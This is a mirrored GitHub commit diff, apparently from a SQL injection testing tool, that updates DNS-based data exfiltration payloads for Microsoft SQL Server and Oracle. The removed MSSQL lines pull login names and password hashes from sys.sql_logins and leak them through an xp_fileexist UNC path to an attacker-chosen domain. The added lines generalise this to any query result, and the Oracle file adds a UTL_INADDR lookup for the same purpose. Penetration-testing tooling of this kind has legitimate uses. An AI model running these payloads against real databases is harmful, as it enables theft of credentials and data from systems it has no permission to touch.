Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 9199ce5

Browse files
committed
minor update
1 parent 1b072f6 commit 9199ce5

2 files changed

Lines changed: 3 additions & 4 deletions

File tree

procs/mssqlserver/dns_request.txt

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,3 @@
1-
# Reference: http://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-karlsson.pdf
2-
31
DECLARE @host varchar(1024);
4-
SELECT @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.%DOMAIN%' FROM sys.sql_logins;
5-
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');
2+
SELECT @host = (%QUERY%) + '.%DOMAIN%';
3+
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');

procs/oracle/dns_request.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
SELECT UTL_INADDR.GET_HOST_ADDRESS((%QUERY%)||%DOMAIN%) FROM DUAL

0 commit comments

Comments
 (0)